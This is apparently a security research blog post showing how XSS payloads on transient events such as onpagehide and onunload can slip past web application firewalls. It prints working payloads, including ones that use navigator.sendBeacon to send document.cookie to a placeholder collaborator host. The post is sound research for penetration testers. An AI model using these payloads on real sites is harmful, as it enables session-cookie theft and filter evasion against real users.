When alert fails: exploiting transient events

An illustration show people moving fast with code

Many WAFs block standard events and common XSS vectors. In this post I'll show you how to exploit transient events that might enable you to slip by WAF detection.

Looking at the events collected by our XSS cheat sheet, I compared them with events in the various browsers and logged any event that wasn't stored by the cheat sheet. I then begin looking for ways to execute them. One event I came across was onpagehide. This works on the body tag but there's a catch; because this event executes when the user leaves the page, any sort of prompt is blocked by Chrome.

With any sort of prompt prevented I began looking for ways to make a network request, I tried fetch, XHR and images but none of them worked. This is probably because the page is unloaded and there is no time for the code to execute and make a request; it's a transient event. I remembered a cool trick by @BitK_ in their sla.ckers post. They show how you can use the console to make a network request using CSS. I tried this technique and it works but requires a user to have the developer console open which is quite funny:

<body onpagehide="
console.log('%cHello', `background: url('https://yourid.burpcollaborator.net')`)">

Naturally, I wanted to execute the JavaScript without needing the console to be open. To do that I used navigator.sendBeacon. This works perfectly and allows you to make a POST request with whatever data you want (cookies, DOM contents). This is widely used by tracking software such as Google Analytics to track when you leave a page. So even though you can't use XHR, using beacon you can make this vector useful because you can send cookies or anything in the DOM to a remote server.

<body onpagehide="navigator.sendBeacon('https://yourid.burpcollaborator.net',document.cookie)">

The sendBeacon method is great and we've found it works with other events too that don't allow prompts. Such as onunload and onbeforeunload. The onunload event works in the body tag and the svg tag:

<svg onunload=navigator.sendBeacon('//yourid.burpcollaborator.net',document.cookie)>
Back to all articles

Related Research

Recommended Stories from the Daily Swig